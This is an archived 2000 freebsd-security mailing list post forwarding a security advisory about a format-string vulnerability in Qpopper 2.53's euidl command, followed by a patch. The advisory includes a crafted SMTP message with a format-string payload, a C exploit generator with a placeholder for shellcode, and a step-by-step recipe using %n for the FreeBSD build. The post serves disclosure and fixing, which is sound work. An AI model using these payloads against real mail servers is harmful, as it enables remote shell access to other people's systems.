Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 24 May 2000 16:40:00 -0500 (CDT)
From:      Jeremy Shaffner <jer@jorsm.com>
To:        freebsd-security@freebsd.org
Subject:   QPOPPER: Remote gid mail exploit
Message-ID:  <Pine.BSF.4.21.0005241633020.7700-100000@mercury.jorsm.com>

next in thread | raw e-mail | index | archive | help

[Patch is at the end]

Here is the original advisory.  Note that the actual advisory is
correct WRT the file and line numbers.  The posts on Bugtraq indicate to
patch pop_msg.c instead of pop_uidl.c.


------>8----------

=09  _____________________________________________________________________
 =09  b u f f e r 0 v e r f l 0 w   s e c u r i t y   a d v i s o r y   # 5=
=20
=09=09=09

 =09=09    Advisory Name: Remote shell via Qpopper2.53
=09=09             Date: 5/23/00
=09 =09      Application: Qpopper 2.53 for *NIX
=09                   Vendor: Qualcomm Incorporated
=09=09              WWW: www.qualcomm.com
=09=09         Severity: can give users remote
                                   shell with gid=3Dmail.
=09=09           Author: prizm (prizm@resentment.org)
=09=09=09 Homepage: b0f.freebsd.lublin.pl


 * Overview
=09Qpopper is the most widely-used server for the POP3 protocol. This allow=
s users to=20
=09access their mail using any POP3 client.  Qpopper supports the latest st=
andards,
        and includes a large number of optional features.  Qpopper is norma=
lly used with
        standard UNIX mail transfer and delivery agents such as sendmail or=
 smail.=20



 * The Problem
=09Yes, Qpop, again and again...=20
=09There is a bug in version 2.53 of Qpop that can give you a remote
=09shell with gid=3Dmail. Problem is with euidl command which uses user inp=
ut as=20
=09format string for pop_msg() function.
=09Lets examine following code from Qpop 2.53 source:
=09--> pop_uidl.c, around line 150:
=09 ................
=09        sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
=09        if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
=09        sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, =
mp));
=09 !      return (pop_msg (p,POP_SUCCESS, buffer));
                                      ^^^^^^^^^^^^^
=09 .................
=09Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat,
=09const char *format,...), and here we have user-input as format string. L=
ame.=20
=09Ok, back to problem, imagine following smtp session:

=09     MAIL FROM:<hakker@evil.org>
=09     200 Ok
=09     RCPT TO:<luser@host.withqpop253.com>
=09     200 Ok
=09     data
=09     200 Okey, okey. end with "."
=09     Subject: still trust qpop?=3D/
=09     X-UIDL: AAAAAAAAAAAAAAAA
=09     From: %p%p%p%p%p%p%p

=09     test
=09     .
=09     200 BLABLABLA Ok, message accepted for delivery.

=09  Then, luser connects with his pop account and runs euidl command there=
:
=09=09+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
=09=09USER luser
=09=09+OK Password required for luser.
=09=09PASS secret
=09=09+OK luser has 3 messages (1644 octets).
=09=09euidl 3
=09=09+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5=
e0xbfbfd1e80x8057028

=09  Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p=
%p
=09  where implemented as arguments for vsnprintf() command.

 * Exploiting
         Is this possible? Yeah, sure!
=09 But there are some limits. Qpopper2.53 from FreeBSD ports with patches =
is=20
=09 much more difficult to exploit than one from linux. It is because freeb=
sd=20
=09 patches change vsprintf() call in pop_msg.c to vsnprintf() call, and th=
ere is
=09 big difference between them. Qpopper with FreeBSD's patches IS exploita=
ble.

       Exploit
       -------
/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
 *
 *  Sample exploit for buffer overflow in Qpopper 2.53.
 *  This little proggie generates a mail u need to send.
 *
 *  Standard disclaimer applies.
 *  By the way, exploit is broken =3D) You need to insert shellcode.
 *
 *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
 *  greets to USSRLabs and ADM
 *  check http://b0f.freebsd.lublin.pl/ for news.
 */
#include <stdio.h>
#include <string.h>

char shellcode[]=3D"imnothing";
int main(int argc, char *argv[])
{
=09int i;
=09unsigned long ra=3D0;
=09if(argc!=3D2) {
=09=09fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
=09=09exit(0);
=09}
=09sscanf(argv[1], "%x", &ra);
=09if(!ra)=20
 =09=09return;
=09if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
=09=09fprintf(stderr,"Bad shellcode\n");
=09=09exit(0);
=09}
=09fprintf(stderr,"return address: 0x%.8x\n", ra);
=09printf("X-UIDL: ");
=09for(i=3D0; i < sizeof(shellcode);i++)
=09=09printf("%c", shellcode[i]);
=09printf("\r\n");
=09printf("From: %s", "%.1000d");
=09for(i=3D0; i < 50; i++)=20
=09=09printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16=
, (ra & 0xff000000)>>24);
=09printf("@test\r\n");
=09printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
=09return 0;
}

=09Exploiting QPOP from FreeBSD ports
=09----------------------------------

=09It is NOT easy, because vsprintf() is replaced with vsnprintf() so we ca=
n't
=09overflow stack, but we still have control over it (remeber %n?).
=09Im not going to post exploit for this because it is really generic, but =
I
=09will explain theory on exploiting qpop with vsNprintf.
=09There is an little trick with %n YOu should know. Try to understand why
=09folowing code succeeds and prints out 2000, not sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
        int s=3D1; char b[1024]; int q;
        snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
        return printf("%d, overflowed? %s\n", q, (s=3D=3D1?"NO":"YES"));
}
---</cut>---
=09On my box with FreeBSD 3.4 i have:
=092000, overflowed? NO

=09Hah, first time i expected to see 1024, but YOu know that all is
=09unpredictable . So, this little thing will help us a lot.
=09Exploiting it:
=09a) Find where in stack is located user input.
=09b) Compose a message with filed X-UIDL and From:
=09=09X-UIDL: ppRETARETARETARETA
=09=09From: <SHELLCODE>%.RETURNd%n@test
=09where:
=09"pp"=09=09=09is for padding (two or three chars)
=09"RETA"=09=09is return address pointing to SHELLCODE
=09"SHELLCODE"=09=09guess
=09"RETURN"=09=09return address

=09c) Exploit? If you need an exploit that will work on FreeBSD, code it yo=
urself.



 * Vulnerable Versions
=092.53(Others?)
=20

 * Fix
=09You can download Qpopper 3.1 at http://www.eudora.com/freeware/qpop.html=
#CURRENT which
        is not vulnerable to this problem.

=09Or you can manually patch it by doing the following:=20

=09  At lines 152 and 62 from pop_uidl.c, replace:
=09- return (pop_msg (p,POP_SUCCESS, buffer));
=09  to:
=09+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));



=09=09=09

=09=09=09=09=09 copyright =A9 1999-2000
=09=09=09=09    prizm, buffer0verfl0w security
=09=09=09=09=09 b0f.freebsd.lublin.pl


---------->8------------=20


Here is the resulting patch:


---------8<--------

--- pop_uidl.c.orig     Wed May 24 15:58:53 2000
+++ pop_uidl.c  Wed May 24 16:21:56 2000
@@ -59,7 +59,7 @@
=20
        sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
         if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
-       return (pop_msg (p,POP_SUCCESS, buffer));
+       return (pop_msg (p,POP_SUCCESS, "%s", buffer));
       }
     } else {
        /* yes, we can do this */
@@ -149,7 +149,7 @@
        sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
         if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
        sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p,
mp));
-       return (pop_msg (p,POP_SUCCESS, buffer));
+       return (pop_msg (p,POP_SUCCESS, "%s", buffer));
       }
     } else {
        /* yes, we can do this */

------->8----------=20



---
Jeremy Shaffner
System Administrator
JORSM Internet
jer@jorsm.com
http://www.jorsm.com/~jer/pgp.key



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.21.0005241633020.7700-100000>